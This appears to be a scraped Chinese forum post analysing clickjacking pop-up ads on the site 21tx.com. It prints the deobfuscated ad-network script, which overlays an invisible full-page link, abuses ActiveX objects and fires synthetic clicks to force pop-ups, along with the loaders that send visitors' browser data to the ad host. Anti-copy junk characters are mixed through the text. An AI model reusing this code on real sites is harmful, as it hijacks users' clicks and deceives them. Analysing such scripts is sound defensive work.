国内也有牛人啊。很有用的。

小狠

天星网ClickJacking点击劫持分析
; i  \0 R4 o) x# I4 Yhttp://www.21tx.com/ 天星网
0 ]% |; x8 Q; X9 s* X; C8 E我得联系联系作者
刚好打开这个站，发现第一次点击会弹窗，然后就不会，清除下COOKIE，又继续了，然后查看源代码，也没什么奇葩的。
7 e* ~8 E  O5 _9 \6 d2 p  rhttp://www.lxting.com/script/popup/v1_min.js

4 F0 e7 s- U  Q8 ~# u9 [2 I这个是锁定到底JS脚本，
解密后的代码

1. (function() {
   
2.     var aa_url = window.ytpp_url;
   0 f0 F6 D. o6 G% b' ^  h( N0 F/ F
3.     var ua = navigator.userAgent;
   
4.     var form_div = document.createElement('div');
   + z9 A: ^4 C. G! l8 y
5.     var form_pd = 0;
   
6.     var browser = {
   % }" ~& N, p2 S0 r$ i
7.         ie: /msie/i.test(ua),
   
8.         ie6: /msie 6/i.test(ua),
   
9.         ie7: /msie 7/i.test(ua),
   ( H, M. }2 v7 W' r( b; J
10.         ie8: /msie 8/i.test(ua),
    " y$ L" f) k" X. U- _& r2 Y
11.         ie9: /msie 9/i.test(ua),
    1 q0 ?7 y8 p2 D- K" h6 n2 p
12.         360 : /360se/i.test(ua),
    3 a2 Q0 \& h% f0 U
13.         sogou: /;?se.+?MetaSr/i.test(ua),
    # `" I/ n$ [, t. n- i/ `
14.         maxthon: /Maxthon/i.test(ua),
    
15.         tt: /TencentTraveler/i.test(ua),
    " u. f. f; c3 x% J; ?' r, j
16.         ff: /firefox/i.test(ua),
    
17.         webkit: /AppleWebKit/i.test(ua),
    7 r% F5 m! g  n9 _
18.         opera: /Opera/i.test(ua),
    
19.         qqbrowser: /QQBrowser/i.test(ua),
    6 J6 Y+ T9 X, x6 Z* D
20.         cr: /chrome/i.test(ua),
    
21.         gg: window.chrome,
    
22.         theworld: /Theworld/i.test(ua)
    
23.     };
    
24.     var _setting = "";
    
25.     var _ct = 0;
    ' N# J, u) w: \% {" |+ F
26.     var _le = 0;
    ; g7 o; c! ^7 L& c8 c
27.     var _pd = 1;
    
28.     var _pd2 = 0;
    , R" {; i, T1 Q
29.     var _pc = 1;
    
30.     var _pc2 = 1;
    
31.     var _pco = 0;
    
32.     var _pta = 0;
    
33.     var _ptb = 0;
    
34.     var _pt2a = 0;
    5 a# @) J# h3 W) r  t8 X
35.     var _pt2b = 0;
    
36.     var _pt3a = 0;
    
37.     var _pt3b = 0;
    
38.     var _pt4a = 0;
    
39.     var _pt4b = 0;
    
40.     var _pt5a = 0;
    % w9 j' s2 o' P; y* Y8 i) \
41.     var _pt5b = 0;
    
42.     var _pt6a = 0;
    
43.     var _pt6b = 0;
    
44.     var _pt7a = 0;
    / c* d1 s5 a; M3 O
45.     var _pt7b = 0;
    2 I+ E) P1 P$ _8 _
46.     var _pt8a = 0;
    / N  U$ o3 b5 d3 `
47.     var _pt8b = 0;
    
48.     var _pt9a = 0;
    , z9 @4 _0 ^, _$ H6 c! M
49.     var _pt9b = 0;
    / J2 E% P' ~7 L7 S" g' H5 j: H
50.     var _pt10a = 0;
    ( \( r. w" C3 _6 W( p! l
51.     var _pt10b = 0;
    1 _1 B' `. \4 D4 U2 v# c
52.     var _po = 0;
    
53.     var _poo = 0;
    # j8 ^+ b& L/ ^! Z4 j* k
54.     var ckn, ckt;
    & \' H1 l5 D% i5 k
55.     var ads = 0;
    
56.     function b(w) {
    . H6 [% p) A! H: h2 _9 v$ k
57.         var s = w + "=";
    
58.         var r = "";
    4 i; T8 f3 s) ]- q5 F8 f2 \$ |
59.         var o = 0;
    3 m% ?/ R) C% n# ~% l6 d" T1 e  ]
60.         var d = 0;
    ! L! }: f5 O. o+ u: n$ w% H7 `
61.         var p = document.cookie;
    2 {* j2 x- ^- I  O! k$ F
62.         if (document.cookie.length > 0) {
    ' L1 B9 }: T/ N
63.             o = document.cookie.indexOf(s);
      H1 ~* b6 z3 ~9 Z
64.             if (o != -1) {
    # F) m+ W4 v, q
65.                 o += s.length;
    
66.                 d = document.cookie.indexOf(";", o);
    
67.                 if (d == -1) d = document.cookie.length;
    
68.                 r = unescape(document.cookie.substring(o, d))
    $ Y, K" M& c! J# a& z) x. y0 q
69.             }
    
70.         }
    
71.         return r
    4 t" c, h$ A- X
72.     };
    
73.     function p(w, p, v) {
    * a# F& c0 G' K% O7 \( B! D+ s
74.         var t = 30;
    - Y& j; H* P6 k) H( H
75.         try {
    
76.             t = parseFloat(p) * 1
    ' l% t' J: `( }0 u: N
77.         } catch(e) {
    6 |1 }; V2 Z( P- I) u/ b
78.             t = 30
    " t" @/ K/ Y* |' ]
79.         }
    
80.         if (isNaN(t)) t = 30;
    % S6 i+ d3 T' |
81.         var then = new Date();
    / d4 P( Q" k! u! t
82.         then.setTime(then.getTime() + t * 60 * 1000);
    " k' ]! G. V9 l1 }2 }
83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    : k2 x5 H# ?# ~& k$ N0 ]) o* P
84.     };
    8 h* w3 a% M: N4 }, m, q! m
85.     function init() {
    
86.         _setting = ytpp_sti;
    8 t; O& I0 A- h- R1 f- ~
87.         if (getp(_setting, "CT")) {
    6 ]+ v! ~' P5 a. F" W6 y$ m
88.             _ct = getp(_setting, "CT")
    
89.         }
    
90.         if (getp(_setting, "LE")) {
    ; {' j9 w; D2 Y
91.             _le = getp(_setting, "LE")
    
92.         }
    
93.         if (getp(_setting, "PD2")) {
    * f2 t' g5 T# J4 I) U& k
94.             _pd2 = getp(_setting, "PD2")
    
95.         }
    4 \" o3 j) M/ X: z  m
96.         if (getp(_setting, "PC2")) {
    
97.             _pc2 = getp(_setting, "PC2")
    
98.         }
      Z, i7 g1 W2 O4 S" X
99.         if (getp(_setting, "PCO")) {
    
100.             _pco = getp(_setting, "PCO")
     # q( t6 G# Z7 P" ]* B" x+ Y" P
101.         }
     
102.         for (var i = 1; i <= 10; i++) {
     
103.             var n = i == 1 ? "": i;
     
104.             if (getp(_setting, "PT" + n)) {
     
105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
     
106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
     " i' {6 {( G* F( P: |
107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
     
108.             }
     
109.         }
     5 G/ K6 Y) s' ~$ p
110.         if (getp(_setting, "PO")) {
     
111.             _po = getp(_setting, "PO")
     
112.         }
       Q6 w( e3 b. Y& f' @% `6 t) s
113.         if (getp(_setting, "POO")) {
     ' a/ \/ L6 J& }
114.             _poo = getp(_setting, "POO")
       e. b9 i6 y5 L. o) p
115.         }
     $ f' a7 E0 a1 F0 |- t3 m9 d
116.         if (_pco == 1 || _poo == 1) {
     
117.             if (_poo == 1) {
     . Y" m/ U! t; G5 d/ D  {' g
118.                 _pco = 0
     " H+ N4 p, x5 }: O/ R( G8 ^0 K9 Y
119.             } else {
     
120.                 _poo = 0
     0 s5 z+ H) J% a2 X/ y$ y
121.             }
     9 \: V; u5 s- t) ?9 U
122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
     0 O  F0 D* v% V( o. h5 r- J
123.             for (var i = 2; i <= 10; i++) {
     1 X) S, }1 O8 ]* {$ o. z0 _: I
124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
     
125.             }
     
126.         }
     9 b1 s' M2 M2 |
127.     };
     
128.     function getp(s, p) {
     
129.         var i = s.indexOf(p + ":");
     
130.         if (i >= 0) {
     
131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
     
132.         }
     
133.     };
     4 A8 C) w) k6 I* @3 R$ P4 g8 s
134.     function event(e, event, func, act) {
     
135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
     - E) S3 i* V, |4 [+ ~
136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
     
137.     }
     " D7 A! c: y3 S: Q
138.     function pop(url, param) {
     
139.         if (!document.body) {
     7 {. ^- s( L  f& p* |  ~
140.             return setTimeout(function() {
     
141.                 pop(url, param)
     & |. O& N! g5 }2 M0 ^  i
142.             },
     6 ^/ u6 I0 t* v, A- Z" a- ~6 v
143.             13)
     0 `2 [  J& H- K4 B* Z& F$ t
144.         }
     6 L6 n' G" j4 O6 y1 e
145.         try {
     - W! k0 x* z( E6 J
146.             if (browser['cr'] && browser['gg']) {
     
147.                 try {
     
148.                     hrefopen(url)
     9 {$ p# t+ X* g, h; ]
149.                 } catch(e) {
     
150.                     a_pop(url)
     / i7 W( b: o; s% O- S* F0 o
151.                 }
     
152.             } else if (browser['webkit'] && browser['maxthon']) {
     2 k3 m- Y' g& C( {6 G7 a
153.                 if (!func(url)) {
     
154.                     try {
     
155.                         form_pop(url);
     : @0 Q! e# P+ R+ B: i- O- N( |9 F
156.                         a_pop(url)
     7 C* r5 A) U$ w2 `% k5 V
157.                     } catch(e) {}
     % ]; y$ Q( C# `5 s. M! }% v8 v
158.                 }
     
159.             } else if (browser['tt']) {
     
160.                 try {
     
161.                     object_pop(url)
     
162.                 } catch(e) {
     
163.                     a_pop(url)
     
164.                 }
     + d# y6 a8 Q2 G. O, P
165.             } else if (browser['sogou']) {
     9 \, J, ?' W1 \7 H# j/ [
166.                 if (!func(url)) {
     * V  V- w$ x5 ^! X4 K
167.                     try {
     - Z- O; H8 j1 K$ T/ u
168.                         a_pop(url)
     $ k# q/ @$ W: m6 k
169.                     } catch(e) {}
     
170.                 }
     
171.             } else if (browser['webkit'] && browser['qqbrowser']) {
     8 m4 X4 p. x% b' w* ?
172.                 if (!func(url)) {
     : d) u# s  {8 }' o: A$ x" x
173.                     try {
     
174.                         form_pop(url)
     ) ]8 h; p; v' ^: E# S
175.                     } catch(e) {
     
176.                         click_pop(url)
     ; b, A9 j* Z  s+ x( L+ W
177.                     }
     ) B1 B2 |2 e6 ?* V
178.                 }
     1 s3 P+ @2 D! Q: o+ \
179.             } else if (browser['webkit'] || browser['opera']) {
     # m! w5 u* _0 U2 n# s: {+ b
180.                 try {
     + H* M4 {$ v3 }  C2 a. l+ ?0 ]
181.                     form_pop(url);
     ( J- _0 W! P* k; S* p; Y! {1 D" p! R( `8 j
182.                     a_pop(url)
     
183.                 } catch(e) {}
     
184.             } else if (browser['theworld'] && browser.ie6) {
     * Q# o% e" u' w# h$ H
185.                 if (!object_pop2(url)) {
     
186.                     a_pop(url)
     4 k, j  j# L, O
187.                 }
     5 z7 V3 g0 @# s! g
188.             } else if (browser['theworld'] && browser.ie8) {
     $ u) \/ n% M9 ^* ^1 }( q
189.                 if (!func(url)) {
     ( ^5 X8 N; g( m/ w2 V
190.                     try {
     
191.                         object_pop(url)
     9 g2 Y5 k9 ~1 A5 R/ ]7 B
192.                     } catch(e) {
     
193.                         click_pop(url)
     1 J+ L3 G+ N" j( L- o' D
194.                     }
     
195.                 }
     
196.             } else if (browser.ie6) {
     8 X4 K. Y" r4 j% l6 e4 N
197.                 if (!func(url)) {
     7 J* m( X/ D6 A+ g
198.                     object_pop2(url)
     
199.                 }
     
200.             } else if (browser.ie8) {
     : @: q& ^: j3 l  N
201.                 if (!func(url)) {
     6 Q1 v, I9 }, l( m6 w. x
202.                     try {
     : s$ g) z3 {: b3 N
203.                         object_pop(url)
     - X  ^3 O2 _  J/ \# u6 y
204.                     } catch(e) {
     ( g8 N8 l; g8 t# c9 T: ?! Y: K
205.                         document.onclick = function() {
     0 |+ D" y% b$ o' `% f' c: M
206.                             func(url);
     
207.                             document.onclick = null
     9 q6 G$ n% _( ]" F* `
208.                         }
     6 {) ?. D8 Z1 _$ {/ r
209.                     }
     
210.                 }
       R% m% e. {" d$ C2 ^. E! O
211.             } else if (browser['ie']) {
     ; g4 ~" t% l* G: \& q  X, ]
212.                 try {
     $ v2 ]$ [: s' R5 C2 k
213.                     object_pop(url)
     ; z: M3 V% k: e) L. ?
214.                 } catch(e) {
     
215.                     click_pop(url)
     0 b( G  ?3 o+ u, r* k0 K$ ?- D
216.                 }
     
217.             } else if (browser['ff']) {
     
218.                 if (!func(url)) {
     
219.                     click_pop(url)
     ' {; o4 s( u; Q4 `0 S0 ?& V4 q4 i
220.                 }
     
221.             } else {
     ! u% |4 @+ R' C4 r& f
222.                 if (!func(url)) {
     ( J5 j7 L1 H* J8 r
223.                     click_pop(url)
     / G0 q7 c. d" [: _! F
224.                 }
     # D& }3 u6 L2 L& E4 o
225.             }
     
226.         } catch(e) {
     
227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
     / E  q' @- `" L, G' `6 R
228.                 click_pop(url)
     - y8 a9 Z( m  K4 a. G- C
229.             } else {
     
230.                 a_pop(url)
     # u% I, {! h. C9 T6 D
231.             }
     
232.         }
     6 x/ x- b% A6 \
233.     }
     
234.     function object_pop(url, param) {
     4 |* b6 }( D, V& }2 n0 G! A1 Z3 F
235.         var object = document.createElement('object');
     # A; C9 P3 p/ E1 S. c
236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
     
237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     
238.         append(object);
     1 X: O! _# G' F
239.         object.launchURL(url);
     
240.         ads++;
     
241.         p(ckn, ckt, ads)
     $ j3 y1 Q; F7 }* h' b/ @  v, f
242.     }
     & h9 m1 |. q+ `* U5 t8 ?- l8 w
243.     function object_pop2(url, param) {
     7 l. P2 i0 U1 A$ B
244.         var object2 = document.createElement('object');
     
245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
     
246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     
247.         append(object2);
     
248.         for (var i in object2) {
     4 u- k; Q0 J4 r" p# @+ @
249.             try { (function(o) {})(object2[i])
     
250.             } catch(e) {}
     
251.         }
     2 g6 W/ m* Y% o$ _* g, z
252.         setTimeout(function() {
     
253.             object2.DOM.Script.open(url, '_blank', '')
     
254.         },
     9 ]3 `+ [) e) ]
255.         500);
     2 K% n7 R# V, w
256.         ads++;
     
257.         p(ckn, ckt, ads)
     ; H. D7 r$ J  y+ v) {
258.     }
     1 M3 ?* L3 l0 V, F! u
259.     function append(e) {
     4 {' B/ V; t( O/ y- D1 b, ?6 A. l$ _
260.         for (var t in {
     # u1 p' R( V; Z1 f7 E
261.             body: 1
     
262.         }) {
     
263.             var ele = document.getElementsByTagName(t);
     
264.             for (var i = 0; i < ele.length; i++) {
     ( v; B* D+ s9 j
265.                 ele[i].insertBefore(e, ele[i].firstChild);
     7 d% a$ Q/ Z- U$ _) ?
266.                 return
     
267.             }
     
268.         }
     
269.     }
     
270.     function hrefopen(url) {
     
271.         try {
     + W! F4 L# Z  u
272.             var c = document.createElement("a");
     
273.             c.setAttribute("href", url);
     
274.             c.setAttribute("target", "_blank");
     
275.             c.setAttribute("style", "display:none;");
     % P: l: K" F9 }( k' U
276.             var b = document.createEvent("MouseEvents");
     
277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
     5 z& X  ]# J2 Y' x; \8 H1 C  h/ f
278.             c.dispatchEvent(b);
     1 T# f/ Y. |* E  O2 l" |: ^+ j
279.             ads++;
     
280.             p(ckn, ckt, ads);
     
281.             return true
     
282.         } catch(q) {
     
283.             return false
     $ h9 l/ p' W4 q* A
284.         }
     
285.     }
     ; J- c4 N# i! N1 J3 {
286.     function form_pop(url) {
     ) l8 b5 K# j" C
287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
     
288.         form_div.setAttribute('style', 'display:none');
     
289.         var form = document.createElement('form');
     . {, }; t4 F9 _; _
290.         form.setAttribute('action', aa_url);
     , a5 v5 B# E: b+ H0 J8 _
291.         form.setAttribute('method', 'post');
     6 t) b1 i0 w8 J- f: g/ f
292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
     9 S) D9 @( r5 w- j
293.         form.setAttribute('target', '_blank');
     
294.         form.setAttribute('style', 'display:none');
     : K  \2 p, A$ y4 ?: W/ T; f
295.         var sinput = document.createElement('input');
     
296.         sinput.setAttribute('style', 'display:none');
     
297.         sinput.setAttribute('type', 'submit');
     0 O5 [" z1 i! N) O" q; l" k2 |% [. l
298.         sinput.setAttribute('id', '_sumit_2app');
     3 E! z1 B! T* O$ h4 ^% _& {0 \
299.         form.appendChild(sinput);
     
300.         form_div.appendChild(form);
     
301.         append(form_div);
     
302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
     
303.         try {
     
304.             document.getElementById("_sumit_2app").click()
     
305.         } catch(e) {
     : C: Y2 z! Y& ~# P6 z) V0 d
306.             event(document, 'keyup',
     : z& f5 \5 F5 ~7 H. F
307.             function(e) {
     % Q0 z  o* T2 t6 h% R4 W
308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
     * b& h4 J) f/ n
309.                     return
     
310.                 };
     4 o2 P5 s# f  Q: f6 i
311.                 e = e || window.event;
     2 t8 L1 L2 h+ N7 u& m4 o
312.                 e.canceBubble = true;
     
313.                 event(document, 'keyup', arguments.callee, true);
     
314.                 form_pd = 1;
     
315.                 unionsky_from.submit()
     
316.             })
     
317.         }
     3 c2 o( u! o7 M6 L% j# z. J
318.     };
     
319.     function click_pop(url, param) {
     
320.         event(document, 'mouseup',
     
321.         function(e) {
     + X5 u# [$ m: S! Q+ F7 M
322.             e = e || window.event;
     8 G) N4 Y9 b0 i' V3 F
323.             e.canceBubble = true;
     * T7 J! H( N: y7 k/ S1 X
324.             event(document, 'mouseup', arguments.callee, true);
     
325.             func(url, param);
     
326.             ads++;
     ! f- T' Z) H8 d3 w8 O7 F8 O
327.             p(ckn, ckt, ads)
     
328.         })
     : p) C+ f  M- q6 m$ m
329.     };
     5 u2 ^, h/ V3 i, f" G# P" I
330.     function a_pop(url) {
     8 m( @% y, c7 N* j& R8 \
331.         if (ytpp_plid == 166028) {
     
332.             return
     4 T1 _5 U, }  ~4 E: d
333.         }
     
334.         if (!document.body) {
     
335.             return setTimeout(function() {
     
336.                 a_pop(url)
     0 o: l6 c$ }% A2 q
337.             },
     
338.             13)
     6 y0 X- c+ U5 b8 _4 j/ i& e
339.         }
     
340.         var a = document.createElement("a");
     
341.         a.href = url;
     + c$ t6 h9 O. M/ m
342.         a.target = "_blank";
     : V: f1 R: t" p) h8 b; {  o
343.         var div = document.createElement('div');
     
344.         div.style.backgroundColor = '#fff';
     
345.         a.appendChild(div);
     
346.         append(a);
     
347.         var as = a.style;
     5 X; I6 M6 }8 p' ~) ^- p# C2 \
348.         as.position = "absolute";
     / k. R  x' I. [2 M1 ^1 V/ z( `7 A
349.         as.zIndex = '2147483647';
     ( E: k8 l* {$ T1 Y% a& B/ c4 C
350.         as.display = "block";
     / b. J) Q( c) I- h" r6 Z% d4 V
351.         as.top = "0px";
     
352.         as.left = "0px";
     6 R4 }4 d3 m" h/ }1 e3 J8 ]" w
353.         as.cursor = 'default';
     
354.         as.opacity = "0";
     $ |% F, g8 i0 }4 z, s
355.         as.filter = "alpha(opacity:0)";
     
356.         var m = setInterval(function() {
     1 @" _2 r; K1 x
357.             if (form_pd == 1) {
     , _2 T! s" J: K$ a' K6 R
358.                 a.parentNode.removeChild(a);
     
359.                 clearInterval(m);
     ' ~5 {2 E! Y  s$ J# X
360.                 return
     
361.             }
     
362.             a.style.zIndex = '2147483647';
     6 s  q* S9 A9 i
363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
     8 u- J0 X* |1 H' A" Z7 l+ k1 t" e2 t
364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
     
365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
     ( i- n+ \6 ^0 ^1 D( N
366.             div.style.height = d.clientHeight + 'px';
     - t- ~3 f. B% E
367.             if (browser['ie']) {
     + Z2 x( v0 \' N. H* m5 K5 j) t
368.                 try {
     
369.                     var divs = document.body.childNodes;
     7 o4 a8 a% I8 t4 U" n* v
370.                     for (var i = 0; i < divs.length; i++) {
     7 M7 D) ]2 I; `* k7 t7 e! j
371.                         if (!divs[i]['style']) {
     
372.                             continue
     
373.                         }
     
374.                         var _i = parseInt(divs[i].style.zIndex);
     
375.                         if (_i && divs[i] != a && _i == 2147483647) {
     
376.                             divs[i].style.zIndex = _i - 1
     3 ]1 z& B8 m. }& E
377.                         }
     
378.                     }
     ( |6 c' N0 u8 }
379.                     a.style.zIndex = '2147483647'
     . {, z! x8 |" ]3 d3 x
380.                 } catch(e) {}
     5 {8 D" f8 p4 j, v
381.             }
     / C- C2 g" l4 N) w, t; @
382.         },
     8 ]# o" M5 C% \
383.         120);
     
384.         a.onclick = function(e) {
     ! S+ O& n/ q# T
385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
     
386.                 form_div.parentNode.removeChild(form_div)
     
387.             }
     
388.             e = e || window.event;
     
389.             e.cancelBubble = true;
     
390.             setTimeout(function() {
     
391.                 a.parentNode.removeChild(a)
     2 ^- x8 ?3 X# O3 W0 y1 }9 ?
392.             },
     ; Q9 g* ]- Y3 y) S5 [
393.             200);
     " K8 `' d" a# [3 B: k4 k
394.             clearInterval(m);
     , J  Y, \9 s$ z+ G0 w
395.             ads++;
     " |% ^' K+ q) d8 k  k+ e) a
396.             p(ckn, ckt, ads)
     
397.         };
       b# v4 H- A8 ~/ A* R  \2 i) G
398.         event(a, 'mouseup',
     
399.         function(e) {
     
400.             e = e || window.event;
     . l# V$ x% V5 \+ W2 v
401.             e.cancelBubble = true
     5 a! h! Z6 A+ u: A  H. [
402.         })
     3 F2 Z0 _$ U/ i( w$ q! X0 e! s
403.     }
     
404.     function func(url, param) {
     
405.         var f = window[String.fromCharCode(111, 112, 101, 110)];
       x( b( p7 B5 X8 s# @6 C+ K& X
406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
     2 Q2 y' D3 h' T: G5 J* {: t$ h
407.         if (w) {
     . G. i$ R7 ^8 {6 F+ s4 q
408.             ads++;
     + L+ x! Q7 p- f0 O2 M
409.             p(ckn, ckt, ads)
     
410.         };
     
411.         return w
     
412.     }
     
413.     function fstart(url) {
     & P6 P* S& a2 ]5 B  O2 H) n& v
414.         init();
     
415.         if (_ct >= 0) {
     
416.             ckn = "YITIAN_NUM";
     . x, l$ g( S) I- K
417.             ckt = _ct
     ' ~& f9 Z. U8 q; w$ `$ m
418.         } else {
     
419.             ckn = "YITIAN_ALL";
     
420.             ckt = Math.abs(_ct)
     # h- R1 p0 {' k' D. o% W# ]
421.         }
     
422.         if (ckt > 0) {
     / m: R5 |2 B# V2 E9 h
423.             if (b(ckn)) {
     
424.                 try {
     
425.                     ads = parseFloat(b(ckn))
     
426.                 } catch(q) {}
     
427.             }
     / b5 @& m8 C& B4 ?& v
428.         }
     
429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
     * y4 D/ ]6 x2 Z) F0 i5 w% K! s, Y
430.             return
     
431.         } else {
     
432.             if (_le > 0) {
     % h" `3 C$ f7 \+ F/ y
433.                 setTimeout(go(url), _le * 1000)
     2 p8 F! z8 h* \9 Z2 C' L% q: @7 M
434.             } else {
     
435.                 go(url)
     3 r  M, j* a9 n$ p8 ~4 n- q- C
436.             }
     - c( ~& ]1 |  {3 {
437.         }
     - n% N6 y  {+ P
438.     }
     ! j4 m& C" ~* c2 U
439.     function go(url) {
     
440.         if (_poo == 1) {
     7 D% j5 N3 Y- [5 ]4 n
441.             try {
     
442.                 func(url)
     ! I0 B) Y, c$ u+ C3 P" ~+ m% v4 [
443.             } catch(q) {}
     3 t, T8 W  Z* c' R# p" `
444.         } else if (_pco == 1) {
     
445.             a_pop(url)
     ( v2 m1 L/ [5 d" w* M, i
446.         } else {
     1 q& x0 \9 \" }  @, e5 ^4 m& u
447.             if (_pd == 1) {
     ) j: \1 O) p2 A8 r$ _7 ^& F
448.                 setTimeout(function() {
     
449.                     pop(url, {
     % [* ]# j/ B( i* {" |4 [
450.                         a: 1,
     
451.                         b: 2
     
452.                     })
     
453.                 },
     
454.                 300)
     1 R# e; z- z4 m# ]+ P
455.             }
     1 }) A# W6 p) U
456.             if (_pd2 > Math.random()) {
     6 g; g! ~9 k0 ]9 C% Y
457.                 setTimeout(function() {
     . E- g' W: ]1 H2 J, Y6 q5 w
458.                     pop(url, {
     
459.                         a: 1,
     % c9 X4 M4 x1 q9 M3 @  m8 E
460.                         b: 2
     0 s5 a' S! X( }
461.                     })
     
462.                 },
     5 e7 q% ?# R* I3 R9 w0 t7 T
463.                 300)
     + ~# x6 H- U+ ], g3 H0 A5 h/ q
464.             }
     
465.             for (var i = 1; i <= 10; i++) {
     
466.                 var n = i == 1 ? "": i;
     ( V  f0 q! ~9 |. C" G- U0 V- a
467.                 if (eval("_pt" + n + "b") > Math.random()) {
     + t/ W% U6 q7 P
468.                     setTimeout(function() {
     
469.                         setTimeout(function() {
     
470.                             pop(url, {
     * x2 b5 b/ b" e* K6 _( ?2 m
471.                                 a: 1,
     
472.                                 b: 2
     ; R: R/ Q, L$ B
473.                             })
     
474.                         },
     % {7 `8 S  ~1 d" @' p
475.                         300)
     
476.                     },
     1 d9 C8 l) `! B+ T8 @+ N
477.                     parseInt(eval("_pt" + n + "a")) * 1000)
     * m0 D- P; b4 I
478.                 }
     * w1 g9 @' S3 U/ z4 J4 N( C& v
479.             }
     
480.             if (_pc2 > Math.random()) {
     
481.                 a_pop(url)
     
482.             }
     9 z  p1 K( w# ?; u: ]
483.             if (_po > Math.random()) {
     
484.                 try {
     
485.                     func(url)
     
486.                 } catch(q) {}
     
487.             }
     
488.         }
     * v# t  O& {4 H
489.     };
     
490.     fstart(aa_url);
     
491.     event(window, 'beforeunload',
     
492.     function() {})
     
493. })();

复制代码

通过浏览器抓包
9 @* U) m7 Y( w  s4 D' B+ @% qURL从这里产生
( w0 W# M0 y. t  i' }6 ~* E5 u
# @+ h1 M8 M+ k1 j' ahttp://play.unionsky.cn/show/?placeid=141830

小狠

直接打开看不到什么东西
9 u! o% l& t( f3 _( `http://www.unionsky.cn/ 是属于这个广告联盟的
0 Z3 J  U. k0 R1 G  ?我们直接分析抓包的内容
2 E: i4 n% f' u$ M: ^% A/ z

var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
8 I# V; \* P# N1 I7 _2 nytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
var ytpp_u = encodeURIComponent(navigator.userAgent);
1 F% R8 S0 I; D5 z, {% h9 n5 Avar ytpp_s = window.screen.width + "*" + window.screen.height;
+ b0 c9 L1 P" `var ytpp_l = navigator.browserLanguage || navigator.language;
0 ^) R1 E1 {  M9 e" E4 x% R; pvar ytpp_plid = 141830;
var ytpp_w = 0;
/ g5 K9 v- l5 j8 P" b  `  I4 Svar ytpp_h = 0;
var ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
var ytpp_ads = 14;
, v- ~. T8 v- K, d* i7 W( v3 nvar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
5 p( a. H: o* z! J, z  l3 X# ndocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
4 |- m! L( K% ^" Gdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

; Z0 e' ]& ^- E那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。
继续分析 发现这里

9 }" S8 ?. f% y" r" t- Ohttp://txsite.21tx.com/count/count.js

txcount_uid = 1;
/ {' H: W5 k& {: x, v- Dtxcount_uh = 0;
txcount_uw = 0;
txcount_uah = 0;
txcount_uaw = 0;
5 H9 U" N, }; r- b; ^4 B2 Ptxcount_ucd = 0;
# w& J9 p* L! n: k4 K4 j$ G   
if (window.screen) {
, l, s- Y; [+ ~  txcount_uh = window.screen.height;
5 m- t* g/ j  v# M( T3 p  txcount_uw = window.screen.width;
  txcount_uah = window.screen.availHeight;
) n& B! ~+ I1 i, V4 C0 F: U  n8 E  txcount_uaw = window.screen.availWidth;
! [1 x! u3 s8 E! B$ S( G  txcount_ucd = window.screen.colorDepth;
}
   
   
8 m9 m2 ?- l$ l6 Mvar url = "http://txsite.21tx.com/count/count.aspx";
url = url + "?u="+ txcount_uid;
//url = url + "&f=" + txcount_f;
url = url + "&k=" + txsite_pagekey;
+ t$ v" n6 p; z; N' S//url = url + "&t=" + txcount_t;
url = url + "&l=" + escape(document.location);
url = url + "&r=" + escape(document.referrer);
url = url + "&uh=" + txcount_uh;
7 h7 j% V$ T/ Z  h* O0 ]url = url + "&uw=" + txcount_uw;
( M2 J5 n6 @, q9 Furl = url + "&uah=" + txcount_uah;
% Q" |; Q1 P) u1 G6 rurl = url + "&uaw=" + txcount_uaw;
url = url + "&ucd=" + txcount_ucd;
- n9 d! _2 J' `, m( S7 ~4 b   
" N5 d! s+ _) k   
document.write("<script src=" + url + "><\/script>");
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
* ~7 s0 j; T1 }4 c- `: x% R2 |   
